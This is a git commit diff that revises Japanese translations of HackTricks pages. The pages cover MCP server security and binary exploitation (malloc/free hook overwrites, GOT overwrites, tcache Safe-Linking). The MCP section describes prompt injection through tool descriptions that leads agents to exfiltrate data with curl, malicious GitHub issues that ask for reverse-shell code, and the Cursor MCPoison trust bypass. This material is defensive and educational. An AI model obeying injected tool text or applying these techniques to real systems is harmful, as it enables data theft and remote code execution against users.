Translated ['src/windows-hardening/active-directory-methodology/sccm-man

This commit is contained in:
Translator 2025-08-21 21:43:03 +00:00
parent e87ee93af8
commit 71a40ee636
252 changed files with 6559 additions and 5932 deletions

View File

@ -1,18 +1,18 @@
# MCPサーバー
# MCP Servers
{{#include ../banners/hacktricks-training.md}}
## MPC - モデルコンテキストプロトコルとは
## What is MPC - Model Context Protocol
[**モデルコンテキストプロトコル (MCP)**](https://modelcontextprotocol.io/introduction) は、AIモデルLLMが外部ツールやデータソースとプラグアンドプレイ方式で接続できるオープンスタンダードです。これにより、複雑なワークフローが可能になります。例えば、IDEやチャットボットは、MCPサーバー上で関数を*動的に呼び出す*ことができ、モデルが自然にそれらを使用する方法を「知っている」かのように振る舞います。内部では、MCPはクライアント-サーバーアーキテクチャを使用し、さまざまなトランスポートHTTP、WebSockets、stdioなどを介してJSONベースのリクエストを行います。
[**Model Context Protocol (MCP)**](https://modelcontextprotocol.io/introduction)は、AIモデルLLMが外部ツールやデータソースとプラグアンドプレイ方式で接続できるオープンスタンダードです。これにより、複雑なワークフローが可能になります。例えば、IDEやチャットボットは、モデルが自然に「知っている」かのようにMCPサーバー上の関数を*動的に呼び出す*ことができます。内部では、MCPはクライアント-サーバーアーキテクチャを使用し、さまざまなトランスポートHTTP、WebSockets、stdioなどを介してJSONベースのリクエストを行います。
**ホストアプリケーション**Claude Desktop、Cursor IDEは、1つ以上の**MCPサーバー**に接続するMCPクライアントを実行します。各サーバーは、標準化されたスキーマで記述された一連の*ツール*(関数、リソース、またはアクション)を公開します。ホストが接続すると、サーバーに対して利用可能なツールを`tools/list`リクエストで尋ね、返されたツールの説明はモデルのコンテキストに挿入され、AIはどの関数が存在し、どのように呼び出すかを知ることができます。
**ホストアプリケーション**Claude Desktop、Cursor IDEは、1つまたは複数の**MCPサーバー**に接続するMCPクライアントを実行します。各サーバーは、標準化されたスキーマで記述された一連の*ツール*(関数、リソース、またはアクション)を公開します。ホストが接続すると、サーバーに対して`tools/list`リクエストを送信し、利用可能なツールを尋ねます。返されたツールの説明は、AIがどの関数が存在し、どのように呼び出すかを知るためにモデルのコンテキストに挿入されます。
## 基本的なMCPサーバー
## Basic MCP Server
この例ではPythonと公式の`mcp` SDKを使用します。まず、SDKとCLIをインストールします
この例ではPythonと公式の`mcp` SDKを使用します。まず、SDKとCLIをインストールします:
```bash
pip3 install mcp "mcp[cli]"
mcp version # verify installation`
@ -33,13 +33,13 @@ mcp.run(transport="stdio") # Run server (using stdio transport for CLI testing)
```
これは「Calculator Server」という名前のサーバーを定義し、1つのツール`add`を持っています。関数を`@mcp.tool()`で装飾して、接続されたLLM用の呼び出し可能なツールとして登録しました。サーバーを実行するには、ターミナルで次のコマンドを実行します: `python3 calculator.py`
サーバーは起動し、MCPリクエストを待機しますここでは簡単のため標準入力/出力を使用しています。実際のセットアップでは、AIエージェントまたはMCPクライアントをこのサーバーに接続します。えば、MCP開発者CLIを使用してツールをテストするためのインスペクターを起動できます:
サーバーは起動し、MCPリクエストを待機しますここでは簡単のため標準入力/出力を使用しています。実際のセットアップでは、AIエージェントまたはMCPクライアントをこのサーバーに接続します。たとえば、MCP開発者CLIを使用してツールをテストするためのインスペクターを起動できます:
```bash
# In a separate terminal, start the MCP inspector to interact with the server:
brew install nodejs uv # You need these tools to make sure the inspector works
mcp dev calculator.py
```
接続されると、ホストインスペクターまたはCursorのようなAIエージェントはツールリストを取得します。`add`ツールの説明関数シグネチャとドキュメンテーションストリングから自動生成はモデルのコンテキストに読み込まれ、AIは必要に応じて`add`を呼び出すことができます。たとえば、ユーザーが*「2+3は何ですか」*と尋ねると、モデルは引数`2``3`を使って`add`ツールを呼び出すことを決定し、結果を返すことができます。
接続されると、ホストインスペクターまたはCursorのようなAIエージェントはツールリストを取得します。`add`ツールの説明関数シグネチャとドキュメンテーションストリングから自動生成はモデルのコンテキストに読み込まれ、AIは必要に応じて`add`を呼び出すことができます。たとえば、ユーザーが*「2+3は何ですか」*と尋ねると、モデルは引数`2``3`を使って`add`ツールを呼び出し、結果を返すことができます。
Prompt Injectionに関する詳細は次を確認してください
@ -50,7 +50,7 @@ AI-Prompts.md
## MCP Vulns
> [!CAUTION]
> MCPサーバーは、ユーザーがメールの読み取りや返信、問題やプルリクエストの確認、コードの作成など、あらゆる日常的なタスクを支援するAIエージェントを持つことを促します。しかし、これはAIエージェントがメール、ソースコード、その他のプライベート情報などの機密データにアクセスできることも意味します。したがって、MCPサーバーのいかなる脆弱性も、データの流出、リモートコード実行、または完全なシステムの侵害など壊滅的な結果を招く可能性があります。
> MCPサーバーは、ユーザーがメールの読み取りや返信、問題やプルリクエストの確認、コードの作成など、あらゆる日常業務を支援するAIエージェントを持つことを促します。しかし、これはAIエージェントがメール、ソースコード、その他のプライベート情報などの機密データにアクセスできることも意味します。したがって、MCPサーバーのいかなる脆弱性も、データの流出、リモートコード実行、または完全なシステムの侵害など壊滅的な結果を招く可能性があります。
> 制御していないMCPサーバーを決して信頼しないことをお勧めします。
### Prompt Injection via Direct MCP Data | Line Jumping Attack | Tool Poisoning
@ -77,29 +77,29 @@ return a + b
```
この説明はAIモデルによって読み取られ、ユーザーが気づかないうちに敏感なデータを抽出する`curl`コマンドの実行につながる可能性があります。
クライアントの設定によっては、ユーザーに許可を求めることなく任意のコマンドを実行できる場合があることに注意してください。
クライアントの設定によっては、クライアントがユーザーに許可を求めることなく任意のコマンドを実行できる場合があることに注意してください。
さらに、説明はこれらの攻撃を容易にする他の機能を使用することを示唆する可能性があります。たとえば、データを抽出する機能がすでに存在する場合、メールを送信することユーザーがMCPサーバーを使用してGmailアカウントに接続している場合)を示唆することができ、`curl`コマンドを実行するよりもユーザーに気づかれにくくなります。例はこの[blog post](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/)にあります。
さらに、説明はこれらの攻撃を容易にする他の機能を使用することを示唆する可能性があります。たとえば、データを抽出する機能がすでに存在する場合、メールを送信するユーザーがMCPサーバーを使用してGmailアカウントに接続していることを示唆することができ、`curl`コマンドを実行するよりもユーザーに気づかれにくくなります。例はこの[ブログ投稿](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/)で見つけることができます。
さらに、[**このblog post**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe)では、ツールの説明だけでなく、タイプ、変数名、MCPサーバーからのJSONレスポンスに返される追加フィールド、さらにはツールからの予期しないレスポンスにおいてもプロンプトインジェクションを追加することが可能であることが説明されており、プロンプトインジェクション攻撃がさらにステルスで検出が難しくなっています。
さらに、[**このブログ投稿**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe)では、ツールの説明だけでなく、タイプ、変数名、MCPサーバーによって返されるJSONレスポンスの追加フィールド、さらにはツールからの予期しないレスポンスにおいてもプロンプトインジェクションを追加することが可能であることが説明されており、プロンプトインジェクション攻撃はさらにステルス性が高く、検出が難しくなります。
### プロンプトインジェクションによる間接データ
### 間接データによるプロンプトインジェクション
MCPサーバーを使用するクライアントでプロンプトインジェクション攻撃を実行する別の方法は、エージェントが予期しないアクションを実行するようにデータを変更することです。良い例は[このblog post](https://invariantlabs.ai/blog/mcp-github-vulnerability)にあり、外部の攻撃者が公開リポジトリで問題を開くだけでGithub MCPサーバーを悪用できる方法が示されています。
MCPサーバーを使用するクライアントでプロンプトインジェクション攻撃を実行する別の方法は、エージェントが予期しないアクションを実行するようにデータを変更することです。良い例は[このブログ投稿](https://invariantlabs.ai/blog/mcp-github-vulnerability)にあり、外部の攻撃者が公開リポジトリで問題を開くだけでGithub MCPサーバーを悪用できる方法が示されています。
Githubリポジトリへのアクセスをクライアントに与えているユーザーは、クライアントにすべてのオープンな問題を読み取り修正するように依頼することができます。しかし、攻撃者は**悪意のあるペイロードを持つ問題を開く**ことができ、「[リバースシェルコード]を追加するプルリクエストをリポジトリに作成する」といった内容がAIエージェントによって読み取られ、コードを意図せずに危険にさらすような予期しないアクションにつながる可能性があります。プロンプトインジェクションに関する詳細は以下を確認してください
Githubリポジトリへのアクセスをクライアントに与えているユーザーは、クライアントにすべてのオープンな問題を読み取り修正するように依頼することができます。しかし、攻撃者は**悪意のあるペイロードを持つ問題を開く**ことができ、「[リバースシェルコード]を追加するプルリクエストをリポジトリに作成する」といった内容がAIエージェントによって読み取られ、コードを意図せずに危険にさらすような予期しないアクションにつながる可能性があります。プロンプトインジェクションに関する詳細情報は以下を確認してください:
{{#ref}}
AI-Prompts.md
{{#endref}}
さらに、[**このblog**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo)では、Gitlab AIエージェントを悪用して任意のアクションコードの変更やコードの漏洩など)を実行する方法が説明されており、リポジトリのデータに悪意のあるプロンプトを注入することで(ユーザーには理解できない形でこれらのプロンプトを難読化することさえ可能です)。
さらに、[**このブログ**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo)では、Gitlab AIエージェントを悪用して任意のアクションコードの修正やコードの漏洩など)を実行する方法が説明されており、リポジトリのデータに悪意のあるプロンプトを注入することで(ユーザーには理解できない形でこれらのプロンプトを難読化することさえ可能です)。
悪意のある間接プロンプトは、被害者ユーザーが使用している公開リポジトリに存在しますが、エージェントはユーザーのリポジトリにアクセスできるため、それらにアクセスすることができます。
### MCP信頼バイパスによる持続的コード実行Cursor IDE "MCPoison"
### MCP信頼バイパスによる持続的コード実行Cursor IDE "MCPoison"
2025年初頭、Check Point Researchは、AI中心の**Cursor IDE**がMCPエントリの*名前*にユーザートラストを結びつけているが、その基礎となる`command``args`を再検証していないことを明らかにしました。この論理的欠陥CVE-2025-54136、別名**MCPoison**により、共有リポジトリに書き込むことができる誰もが、すでに承認された無害なMCPを任意のコマンドに変換し、*プロジェクトが開かれるたびに実行される*ことが可能になります プロンプトは表示されません。
2025年初頭、Check Point Researchは、AI中心の**Cursor IDE**がMCPエントリの*名前*にユーザーの信頼を結びつけているが、その基礎となる`command``args`を再検証していないことを明らかにしました。この論理的欠陥CVE-2025-54136、別名**MCPoison**により、共有リポジトリに書き込むことができる誰もが、すでに承認された無害なMCPを任意のコマンドに変換し、*プロジェクトが開かれるたびに実行される*ことが可能になります - プロンプトは表示されません。
#### 脆弱なワークフロー
@ -115,7 +115,7 @@ AI-Prompts.md
}
```
2. 被害者はCursorでプロジェクトを開き、`build` MCPを*承認*します。
3. 後で、攻撃者はコマンドを静かに置き換えます:
3. 後で、攻撃者は静かにコマンドを置き換えます:
```json
{
"mcpServers": {
@ -128,14 +128,14 @@ AI-Prompts.md
```
4. リポジトリが同期されるとまたはIDEが再起動すると、Cursorは新しいコマンドを**追加のプロンプトなしに**実行し、開発者のワークステーションでリモートコード実行を許可します。
ペイロードは、現在のOSユーザーが実行できるものであれば何でも可能です。例えば、リバースシェルのバッチファイルやPowershellのワンライナーなどで、IDEの再起動を超えてバックドアを持続させることができます。
ペイロードは、現在のOSユーザーが実行できるものであれば何でも可能で、例えばリバースシェルのバッチファイルやPowershellのワンライナーなどがあり、IDEの再起動を通じてバックドアを持続させます。
#### 検出と緩和
* **Cursor ≥ v1.3** にアップグレードする パッチはMCPファイルへの**任意の**変更(ホワイトスペースでさえ)に対して再承認を強制します。
* MCPファイルをコードとして扱うコードレビュー、ブランチ保護、CIチェックで保護します。
* MCPファイルをコードとして扱う: コードレビュー、ブランチ保護、CIチェックで保護します。
* レガシーバージョンの場合、Gitフックや`.cursor/`パスを監視するセキュリティエージェントを使用して疑わしい差分を検出できます。
* MCP構成に署名するか、リポジトリの外に保存して、信頼できない貢献者によって変更されないように検討してください。
* MCP設定に署名するか、リポジトリの外に保存して、信頼できない貢献者によって変更されないように検討してください。
## References
- [CVE-2025-54136 MCPoison Cursor IDE persistent RCE](https://research.checkpoint.com/2025/cursor-vulnerability-mcpoison/)

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
**これは非常に推奨される本** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **からの私のノートで、いくつかの追加情報が含まれています。**
**これは非常に推奨される本** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **からの私のメモで、いくつかの追加情報が含まれています。**
## 基本情報
@ -33,8 +33,8 @@
## 3. トークン埋め込み
> [!TIP]
> この第三段階の目標は非常にシンプルです:**語彙内の各トークンに対して、モデルをトレーニングするために必要な次元のベクトルを割り当てること**。語彙内の各単語はX次元の空間内の点になります。\
> 最初は、空間内の各単語の位置は「ランダムに」初期化され、これらの位置はトレーニング中に改善されるトレーニング可能なパラメータです。
> この第三段階の目標は非常にシンプルです:**語彙内の各トークンにモデルをトレーニングするために必要な次元のベクトルを割り当てること**。語彙内の各単語はX次元の空間内の点になります。\
> 最初は各単語の空間内の位置は「ランダムに」初期化され、これらの位置はトレーニング中に改善されるトレーニング可能なパラメータです。
>
> さらに、トークン埋め込み中に**別の埋め込み層が作成され**、これは(この場合)**トレーニング文内の単語の絶対位置を表します**。このように、文内の異なる位置にある単語は異なる表現(意味)を持ちます。
@ -45,7 +45,7 @@
## 4. アテンションメカニズム
> [!TIP]
> この第四段階の目標は非常にシンプルです:**いくつかのアテンションメカニズムを適用すること**。これらは**語彙内の単語と現在トレーニング中の文内の隣接単語との関係を捉えるための多くの**繰り返し層**になります。\
> この第四段階の目標は非常にシンプルです:**いくつかのアテンションメカニズムを適用すること**。これらは**語彙内の単語と現在トレーニング中の文内の隣接単語との関係を捉えるための多くの**繰り返し層**になります。\
> これには多くの層が使用されるため、多くのトレーニング可能なパラメータがこの情報を捉えることになります。
{{#ref}}
@ -55,7 +55,7 @@
## 5. LLMアーキテクチャ
> [!TIP]
> この第五段階の目標は非常にシンプルです:**完全なLLMのアーキテクチャを開発すること**。すべてをまとめ、すべての層を適用し、テキストを生成したり、テキストをIDに変換したり、その逆を行うためのすべての関数を作成します。
> この第五段階の目標は非常にシンプルです:**完全なLLMのアーキテクチャを開発すること**。すべてをまとめ、すべての層を適用し、テキストを生成したり、テキストをIDに変換したり逆にするためのすべての関数を作成します。
>
> このアーキテクチャは、トレーニング後のテキストのトレーニングと予測の両方に使用されます。
@ -66,7 +66,7 @@
## 6. 事前トレーニングとモデルの読み込み
> [!TIP]
> この第六段階の目標は非常にシンプルです:**ゼロからモデルをトレーニングすること**。これには、定義された損失関数とオプティマイザを使用して、モデルのすべてのパラメータをトレーニングするために前のLLMアーキテクチャが使用されます。
> この第六段階の目標は非常にシンプルです:**モデルをゼロからトレーニングすること**。これには、定義された損失関数とオプティマイザを使用して、データセットをループしながらすべてのパラメータをトレーニングするために前のLLMアーキテクチャが使用されます。
{{#ref}}
6.-pre-training-and-loading-models.md
@ -93,7 +93,7 @@
## 7.2. 指示に従うためのファインチューニング
> [!TIP]
> このセクションの目標は、**テキストを生成するだけでなく、指示に従うためにすでに事前トレーニングされたモデルをファインチューニングする方法を示すこと**です。例えば、チャットボットとしてタスクに応答することです。
> このセクションの目標は、**テキストを生成するだけでなく、指示に従うためにすでに事前トレーニングされたモデルをファインチューニングする方法を示すことです**。例えば、チャットボットとしてタスクに応答することです。
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md

View File

@ -40,7 +40,7 @@ AI-llm-architecture/README.md
AI-Risk-Frameworks.md
{{#endref}}
### AIプロンプトセキュリティ
### AIプロンプトセキュリティ
LLMsは、近年AIの使用を爆発的に増加させましたが、完璧ではなく、敵対的なプロンプトによって騙される可能性があります。これは、AIを安全に使用し、どのように攻撃するかを理解するために非常に重要なトピックです
@ -48,7 +48,7 @@ LLMsは、近年AIの使用を爆発的に増加させましたが、完璧で
AI-Prompts.md
{{#endref}}
### AIモデルRCE
### AIモデルRCE
開発者や企業がインターネットからダウンロードしたモデルを実行することは非常に一般的ですが、モデルを読み込むだけでシステム上で任意のコードを実行するのに十分な場合があります。これは、AIを安全に使用し、どのように攻撃するかを理解するために非常に重要なトピックです

View File

@ -4,9 +4,9 @@
## **Malloc Hook**
公式GNUサイトにあるように、変数 **`__malloc_hook`** は **`malloc()` が呼び出されるたびに呼び出される関数のアドレスを指すポインタ** であり、**libcライブラリのデータセクションに格納されています**。したがって、このアドレスが例えば **One Gadget** で上書きされ、`malloc` が呼び出されると、**One Gadgetが呼び出されます**。
公式GNUサイトにあるように、変数**`__malloc_hook`**は、`malloc()`が呼び出されるたびに呼び出される**関数のアドレスを指すポインタ**であり、**libcライブラリのデータセクションに格納されています**。したがって、このアドレスが例えば**One Gadget**で上書きされ、`malloc`が呼び出されると、**One Gadgetが呼び出されます**。
`malloc` を呼び出すには、プログラムがそれを呼び出すのを待つか、**`printf("%10000$c")`** を呼び出すことで、`libc` がヒープにそれらを割り当てるために `malloc` を呼び出すように、非常に多くのバイトを割り当てることができます
mallocを呼び出すには、プログラムがそれを呼び出すのを待つか、**`printf("%10000$c")`を呼び出すことで、libcがヒープにそれらを割り当てるためにmallocを呼び出すように、過剰にバイトを割り当てることができます**
One Gadgetに関する詳細は以下を参照してください
@ -15,7 +15,7 @@ One Gadgetに関する詳細は以下を参照してください
{{#endref}}
> [!WARNING]
> フックは **GLIBC >= 2.34 では無効化されています**。最新のGLIBCバージョンで使用できる他の技術があります。参照: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)。
> GLIBC >= 2.34ではフックが**無効になっている**ことに注意してください。最新のGLIBCバージョンで使用できる他の技術があります。参照 [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)。
## Free Hook
@ -25,7 +25,7 @@ One Gadgetに関する詳細は以下を参照してください
../libc-heap/unsorted-bin-attack.md
{{#endref}}
バイナリにシンボルがある場合、次のコマンドで `__free_hook` のアドレスを見つけることができます:
バイナリにシンボルがある場合、次のコマンドで`__free_hook`のアドレスを見つけることができます:
```bash
gef➤ p &__free_hook
```
@ -43,7 +43,7 @@ gef➤ p &__free_hook
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
</code></pre>
前述のコードのブレークポイントで、`$eax`にはフリーフックのアドレスが格納されます。
前述のコードのブレークポイントで、$eaxにはフリーフックのアドレスが格納されます。
次に、**ファストビン攻撃**が実行されます:
@ -71,12 +71,12 @@ glibc 2.32は**Safe-Linking**を導入しました。これは、**tcache**お
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
```
悪用の結果
悪用の結果:
1. **heap leak** は必須です - 攻撃者は有効な難読化ポインタを作成するために `chunk_addr >> 12` のランタイム値を知っている必要があります。
2. *完全な* 8バイトポインタのみが偽造可能です; 単一バイトの部分上書きはチェックを通過しません。
2. *完全な* 8バイトポインタのみが偽造可能であり、1バイトの部分的な上書きはチェックを通過しません。
したがって、glibc 2.32/2.33で `__free_hook` を上書きする最小のtcache-poisoningプリミティブは次のようになります
したがって、glibc 2.32/2.33で `__free_hook` を上書きする最小のtcache-poisoningプリミティブは次のようになります:
```py
from pwn import *

View File

@ -6,7 +6,7 @@
### **GOT: グローバルオフセットテーブル**
**グローバルオフセットテーブル (GOT)** は、動的リンクバイナリで外部関数の**アドレスを管理するために使用されるメカニズム**です。これらの**アドレスは実行時まで知られない**ため動的リンクのため、GOTは**これらの外部シンボルのアドレスを動的に更新する方法**を提供します。
**グローバルオフセットテーブル (GOT)** は、動的リンクされたバイナリで外部関数の**アドレスを管理するために使用されるメカニズム**です。これらの**アドレスは実行時まで知られないため**動的リンクのため、GOTはこれらの外部シンボルのアドレスを解決した後に**動的に更新する方法を提供します**
GOTの各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応しています。**関数が最初に呼び出されると、その実際のアドレスは動的リンカーによって解決され、GOTに格納されます**。同じ関数への後続の呼び出しは、GOTに格納されたアドレスを使用し、再度アドレスを解決するオーバーヘッドを回避します。
@ -14,7 +14,7 @@ GOTの各エントリは、バイナリが呼び出す可能性のある外部
**プロシージャリンクテーブル (PLT)** はGOTと密接に連携し、外部関数への呼び出しを処理するためのトランポリンとして機能します。バイナリが**外部関数を初めて呼び出すと、制御はその関数に関連付けられたPLTのエントリに渡されます**。このPLTエントリは、関数のアドレスがまだ解決されていない場合、動的リンカーを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それは**GOT**に格納されます。
**したがって、** GOTエントリは外部関数または変数のアドレスが解決された後に直接使用されます。**PLTエントリは、動的リンカーを介してこれらのアドレスの初期解決を促進するために使用されます**
**したがって、** 外部関数または変数のアドレスが解決されると、GOTエントリは直接使用されます。**PLTエントリは、動的リンカーを介してこれらのアドレスの初期解決を促進するために使用されます**
## 実行を取得
@ -24,29 +24,29 @@ GOTテーブルのアドレスを取得するには: **`objdump -s -j .got ./exe
![](<../../images/image (121).png>)
GEFで**実行可能ファイルを読み込んだ後、GOTにある** **関数**を**見ることができます**: `gef➤ x/20x 0xADDR_GOT`
GEFで**実行可能ファイルを読み込んだ後、GOTにある** **関数を** **見ることができます**: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
GEFを使用して**デバッグ**セッションを**開始**し、**`got`**を実行してGOTテーブルを表示できます:
GEFを使用して**デバッグセッションを開始**し、**`got`**を実行してGOTテーブルを表示できます:
![](<../../images/image (496).png>)
### GOT2Exec
バイナリ内のGOTには、**関数のアドレスまたは** **PLT**セクションのアドレスが含まれています。この任意の書き込みの目的は、後で実行される関数の**GOTエントリを上書きすること**です。例えば、**`system`** **関数**のPLTの**アドレス**で上書きします
バイナリ内のGOTには、**関数のアドレスまたは** **PLTセクションのアドレスが含まれており、関数アドレスを読み込むことになります**。この任意の書き込みの目標は、**後で実行される関数のGOTエントリを** **`system`** **関数のPLTのアドレスで上書きすることです**
理想的には、**あなたが制御するパラメータで呼び出される関数のGOTを上書きすることになります**これにより、system関数に送信されるパラメータを制御できるようになります)。
理想的には、**あなたが制御するパラメータで呼び出される関数のGOTを上書きすることになります**これにより、system関数に送信されるパラメータを制御できます
もし**`system`** **がバイナリで使用されていない場合、system関数はPLTにエントリを持ちません**。このシナリオでは、最初に`system`関数のアドレスを**リーク**し、その後GOTをこのアドレスを指すように上書きする必要があります。
もし**`system`** **がバイナリで使用されていない場合、system関数はPLTにエントリを持ちません**。このシナリオでは、最初に`system`関数のアドレスを漏洩させ、その後GOTをこのアドレスを指すように上書きする必要があります。
PLTアドレスは**`objdump -j .plt -d ./vuln_binary`**で確認できます。
## libc GOTエントリ
**libcのGOT**は通常、**部分的RELRO**でコンパイルされており、そのアドレスを特定できれば良いターゲットになります([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html))。
**libcのGOT**は通常、**部分的RELRO**でコンパイルされており、そのアドレスを特定することができれば良いターゲットになります([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html))。
libcの一般的な関数は、**他の内部関数**を呼び出すことがあり、そのGOTはコード実行を得るために上書きされる可能性があります。
libcの一般的な関数は、**他の内部関数を呼び出す**ことがあり、そのGOTはコード実行を得るために上書きされる可能性があります。
[**この技術に関する詳細情報はこちら**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)を参照してください。
@ -62,20 +62,22 @@ libcの一般的な関数は、**他の内部関数**を呼び出すことがあ
## **One Gadget**
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **ヒープからGOTを悪用する**
## **ヒープからのGOTの悪用**
ヒープの脆弱性からRCEを取得する一般的な方法は、ファストビンを悪用することです。これにより、GOTテーブルの一部をファストビンに追加できるため、そのチャンクが割り当てられると、**通常は`free`関数ポインタを上書きすることが可能になります**。\
ヒープの脆弱性からRCEを取得する一般的な方法は、ファストビンを悪用することです。これにより、GOTテーブルの一部をファストビンに追加できるため、そのチャンクが割り当てられると、**通常は`free`のポインタを上書きすることが可能になります**。\
その後、`free``system`に指し、`/bin/sh\x00`が書き込まれたチャンクを解放すると、シェルが実行されます。
[**ここに例があります**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**。**
## **保護**
**フルRELRO**保護は、この種の技術から保護するために、バイナリが起動されるときにすべての関数のアドレスを解決し、その後**GOTテーブルを読み取り専用**にすることを目的としています。
**フルRELRO**保護は、この種の技術に対抗するために、バイナリが起動されるときにすべての関数のアドレスを解決し、その後**GOTテーブルを読み取り専用にすることを目的としています**:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md

View File

@ -4,7 +4,7 @@
## ELFの基本情報
何かをエクスプロイトする前に、**ELFバイナリ**の構造の一部を理解すること興味深いです:
何かをエクスプロイトする前に、**ELFバイナリ**の構造の一部を理解すること興味深いです:
{{#ref}}
elf-tricks.md
@ -24,11 +24,11 @@ tools/
プログラムのフローを制御する方法はいくつかあります:
- [**スタックオーバーフロー**](../stack-overflow/index.html)によってスタックからリターンポインタを上書きするか、EBP -> ESP -> EIPを操作します
- [**スタックオーバーフロー**](../stack-overflow/index.html)によってスタックからリターンポインタやEBP -> ESP -> EIPを上書きする
- オーバーフローを引き起こすために[**整数オーバーフロー**](../integer-overflow.md)を悪用する必要があるかもしれません。
- または**任意の書き込み + 実行への書き込み**を介して。
- [**フォーマット文字列**](../format-strings/index.html)**:** `printf`を悪用して任意の内容を任意のアドレスに書き込みます
- [**配列インデクシング**](../array-indexing.md): 不適切に設計されたインデクシングを悪用して、いくつかの配列を制御し、任意の書き込みを取得します
- [**フォーマット文字列**](../format-strings/index.html)**:** `printf`を悪用して任意の内容を任意のアドレスに書き込
- [**配列インデクシング**](../array-indexing.md): 不適切に設計されたインデクシングを悪用して、いくつかの配列を制御し、任意の書き込みを得る
- オーバーフローを引き起こすために[**整数オーバーフロー**](../integer-overflow.md)を悪用する必要があるかもしれません。
- **bofからWWWへのROP**: バッファオーバーフローを悪用してROPを構築し、WWWを取得できるようにします。
@ -42,70 +42,70 @@ tools/
考慮すべきことは、通常**脆弱性の1回のエクスプロイトでは不十分な場合がある**ということです。特にいくつかの保護を回避する必要があります。したがって、**単一の脆弱性を同じバイナリの実行中に何度もエクスプロイト可能にする**いくつかのオプションを議論することは興味深いです:
- **`main`関数**のアドレスまたは**脆弱性**が発生しているアドレスをROPチェーンに書き込みます
- **`main`関数**のアドレスや**脆弱性**が発生しているアドレスを**ROP**チェーンに書き込む
- 適切なROPチェーンを制御することで、そのチェーン内のすべてのアクションを実行できるかもしれません。
- **`exit`のGOT内のアドレス**(またはバイナリが終了する前に使用する他の関数)に**脆弱性に戻る**アドレスを書き込みます
- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**で説明されているように、ここに2つの関数を格納します。1つは再度脆弱性を呼び出し、もう1つは**`__libc_csu_fini`**を呼び出し、再度`.fini_array`から関数を呼び出します。
- **`exit`のGOT内のアドレス**(またはバイナリが終了する前に使用する他の関数)に**脆弱性に戻る**アドレスを書き込
- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**で説明されているように、ここに2つの関数を格納し、1つは再度脆弱性を呼び出し、もう1つは**`__libc_csu_fini`**を呼び出して`.fini_array`から関数を再度呼び出します。
## エクスプロイトの目標
### 目標: 既存の関数を呼び出す
- [**ret2win**](#ret2win): フラグを取得するために呼び出す必要がある関数がコード内にあります(特定のパラメータが必要な場合があります)。
- [**ret2win**](#ret2win): フラグを取得するために呼び出す必要があるコード内の関数(特定のパラメータが必要な場合もあります)。
- **PIE**がない**通常のbofでは**、スタックに保存されたリターンアドレスにアドレスを書き込むだけで済みます。
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)があるbofでは、それを回避する必要があります。
- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)があるbofでは、それを回避する必要があります。
- **ret2win**関数を正しく呼び出すために複数のパラメータを設定する必要がある場合は、以下を使用できます:
- すべてのパラメータを準備するための十分なガジェットがある場合は、[**ROP**](#rop-and-ret2...-techniques) **チェーン**
- すべてのパラメータを準備するの十分なガジェットがある場合は、[**ROP**](#rop-and-ret2...-techniques) **チェーン**
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)(このシステムコールを呼び出せる場合)を使用して多くのレジスタを制御します。
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md)および[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)からのガジェットを使用して複数のレジスタを制御します。
- [**Write What Where**](../arbitrary-write-2-exec/index.html)を介して、他の脆弱性bofではないを悪用して**`win`**関数を呼び出すことができます。
- [**ポインタのリダイレクト**](../stack-overflow/pointer-redirecting.md): スタックに呼び出される関数へのポインタや、興味深い関数systemまたはprintfで使用される文字列へのポインタが含まれている場合、そのアドレスを上書きすることが可能です。
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)または[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)がアドレスに影響を与える可能性があります。
- [**未初期化変数**](../stack-overflow/uninitialized-variables.md): あなたは決してわかりません。
